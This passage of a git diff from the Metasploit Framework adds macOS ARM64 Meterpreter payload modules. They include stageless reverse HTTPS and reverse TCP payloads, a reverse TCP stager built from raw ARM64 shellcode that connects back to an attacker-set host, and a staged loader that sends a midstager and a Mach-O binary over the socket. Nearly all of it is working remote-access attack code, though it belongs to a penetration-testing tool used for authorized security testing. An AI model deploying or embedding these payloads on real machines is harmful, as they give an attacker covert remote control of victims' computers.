Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OSX Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ', + 'timwr', + 'usiegl00' + ], + 'Platform' => 'osx', + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_aarch64_OSX + ) + ) + end + + def generate + opts = { + scheme: 'https', + stageless: true + }.merge(mettle_logging_config) + MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/osx/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/osx/aarch64/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000..df9689c531 --- /dev/null +++ b/modules/payloads/singles/osx/aarch64/meterpreter_reverse_tcp.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +# Module generated by tools/modules/generate_mettle_payloads.rb +module MetasploitModule + + CachedSize = 827315 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OSX Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ', + 'timwr', + 'usiegl00' + ], + 'Platform' => 'osx', + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_aarch64_OSX + ) + ) + end + + def generate + opts = { + scheme: 'tcp', + stageless: true + }.merge(mettle_logging_config) + MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/stagers/osx/aarch64/reverse_tcp.rb b/modules/payloads/stagers/osx/aarch64/reverse_tcp.rb new file mode 100644 index 0000000000..cd629d1536 --- /dev/null +++ b/modules/payloads/stagers/osx/aarch64/reverse_tcp.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + + +### +# +# ReverseTcp +# ---------- +# +# Osx reverse TCP stager. +# +### +module MetasploitModule + + CachedSize = 328 + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager', + 'Description' => 'Connect back to the attacker', + 'Author' => 'usiegl00', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_AARCH64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => { 'RequiresMidstager' => false}, + 'Convention' => 'sockedi', + )) + end + + def generate(opts = {}) + encoded_port = [datastore['LPORT'].to_i,2].pack("vv").unpack("N").first + encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first + retry_count = datastore['StagerRetryCount'] + seconds = datastore['StagerRetryWait'] + sleep_seconds = seconds.to_i + sleep_nanoseconds = (seconds % 1 * 1000000000).to_i + + payload = [ + # Generated from external/source/shellcode/osx/aarch64/stager_sock_reverse.s + 0xaa1f03e0, + 0xd2820001, + 0xd2800042, + 0xd2820043, + 0xaa3f03e4, + 0xaa1f03e5, + 0x580007d0, + 0xd4000001, + 0xb100041f, + 0x54000600, + 0xaa0003ec, + 0xd280000a, + 0x1000064b, + 0xf940016b, + 0xd2800040, + 0xd2800021, + 0xd2800002, + 0x580006b0, + 0xd4000001, + 0xaa0003ed, + 0x10000501, + 0xf9400021, + 0xf81f8fe1, + 0x910003e1, + 0xd2800202, + 0x580005f0, + 0xd4000001, + 0xaa0d03e0, + 0xaa0c03e1, + 0xd2802902, + 0xd2800803, + 0xaa1f03e4, + 0xaa1f03e5, + 0x58000530, + 0xd4000001, + 0xaa0c03e0, + 0xd2802901, + 0xd28000a2, + 0x580004d0, + 0xd4000001, + 0xd61f0180, + 0xd100056b, + 0xf100017f, + 0x540001c0, + 0xd2800000, + 0xd2800001, + 0x10000242, + 0xf9400042, + 0x10000243, + 0xf9400063, + 0xa9bf0be3, + 0x910003e4, + 0xd2800002, + 0xd2800003, + 0x58000310, + 0xd4000001, + 0x54ffface, + 0xd2800020, + 0x580002d0, + 0xd4000001, + encoded_port, + encoded_host, + retry_count, + 0x00000000, + sleep_nanoseconds, + 0x00000000, + sleep_seconds, + 0x00000000, + 0x020000c5, + 0x00000000, + 0x02000061, + 0x00000000, + 0x02000062, + 0x00000000, + 0x0200001d, + 0x00000000, + 0x0200004a, + 0x00000000, + 0x0200005d, + 0x00000000, + 0x02000001, + 0x00000000, + ].pack("V*") + return payload + end +end diff --git a/modules/payloads/stages/osx/aarch64/meterpreter.rb b/modules/payloads/stages/osx/aarch64/meterpreter.rb new file mode 100644 index 0000000000..3066d51c17 --- /dev/null +++ b/modules/payloads/stages/osx/aarch64/meterpreter.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +module MetasploitModule + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OSX Meterpreter', + 'Description' => 'Inject the mettle server payload (staged)', + 'Platform' => 'osx', + 'Author' => [ + 'parchedmind', # osx_runbin + 'nologic', # shellcc + 'timwr', # metasploit integration + 'usiegl00' # aarch64 + ], + 'References' => [ + [ 'URL', 'https://github.com/CylanceVulnResearch/osx_runbin' ], + [ 'URL', 'https://github.com/nologic/shellcc' ] + ], + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_aarch64_OSX, + 'Convention' => 'sockedi', + ) + ) + end + + def handle_intermediate_stage(conn, payload) + stager_file = File.join(Msf::Config.data_directory, "meterpreter", "aarch64_osx_stage") + data = File.binread(stager_file) + macho = Msf::Payload::MachO.new(data) + output_data = macho.flatten + entry_offset = macho.entrypoint + # external/source/shellcode/osx/aarch64/stage_mettle.s + midstager = [ + 0xaa1f03e0, + 0x10000861, + 0xf9400021, + 0xd2800042, + 0xd2820043, + 0xaa1f03e4, + 0xaa1f03e5, + 0x58000870, + 0xd4000001, + 0xaa0003ea, + 0xaa0d03e0, + 0xaa0a03e1, + 0x10000702, + 0xf9400042, + 0xd2800803, + 0xaa1f03e4, + 0xaa1f03e5, + 0x58000770, + 0xd4000001, + 0xaa0a03e0, + 0x10000601, + 0xf9400021, + 0xd28000a2, + 0x580006f0, + 0xd4000001, + 0xaa1f03e0, + 0x10000581, + 0xf9400021, + 0xd2800062, + 0xd2820043, + 0xaa1f03e4, + 0xaa1f03e5, + 0x58000550, + 0xd4000001, + 0xaa0003eb, + 0xaa0d03e0, + 0xaa0b03e1, + 0x10000422, + 0xf9400042, + 0xd2800803, + 0xaa1f03e4, + 0xaa1f03e5, + 0x58000450, + 0xd4000001, + 0x10000380, + 0xf9400000, + 0x8b0a0000, + 0x100002ea, + 0xf940014a, + 0xaa0b03ec, + 0xaa0003ef, + 0xaa1f03e0, + 0xd2880001, + 0xd2800062, + 0xd2820043, + 0xaa1f03e4, + 0xaa1f03e5, + 0x58000230, + 0xd4000001, + 0x91400800, + 0x9100001f, + 0xaa0d03e0, + 0xd63f01e0, + 0xd2800000, + 0x58000210, + 0xd4000001, + 0xd503201f, + 0xd503201f, + output_data.length, + 0x00000000, + payload.length, + 0x00000000, + entry_offset, + 0x00000000, + 0x020000c5, + 0x00000000, + 0x0200001d, + 0x00000000, + 0x0200004a, + 0x00000000, + 0x02000001, + 0x00000000, + ].pack("V*") + print_status("Transmitting first stager...(#{midstager.length} bytes)") + conn.put(midstager) == midstager.length + + Rex::sleep(0.1) + print_status("Transmitting second stager...(#{output_data.length} bytes)") + conn.put(output_data) == output_data.length + end + + def generate_stage(opts = {}) + config_opts = {scheme: 'tcp'}.merge(mettle_logging_config(opts)) + mettle_macho = MetasploitPayloads::Mettle.new('aarch64-apple-darwin', + generate_config(opts.merge(config_opts))).to_binary :exec + mettle_macho[0] = 'b' + mettle_macho + end +end diff --git a/tools/modules/generate_mettle_payloads.rb b/tools/modules/generate_mettle_payloads.rb index e9dc811793..16fbfe6767 100755 --- a/tools/modules/generate_mettle_payloads.rb +++ b/tools/modules/generate_mettle_payloads.rb @@ -26,6 +26,7 @@ arches = [ ['x86', 'Linux', 'i486-linux-musl'], ['zarch', 'Linux', 's390x-linux-musl'], ['x64', 'OSX', 'x86_64-apple-darwin'], + ['aarch64', 'OSX', 'aarch64-apple-darwin'], ['aarch64', 'Apple_iOS', 'aarch64-iphone-darwin'], ['armle', 'Apple_iOS', 'arm-iphone-darwin'], ]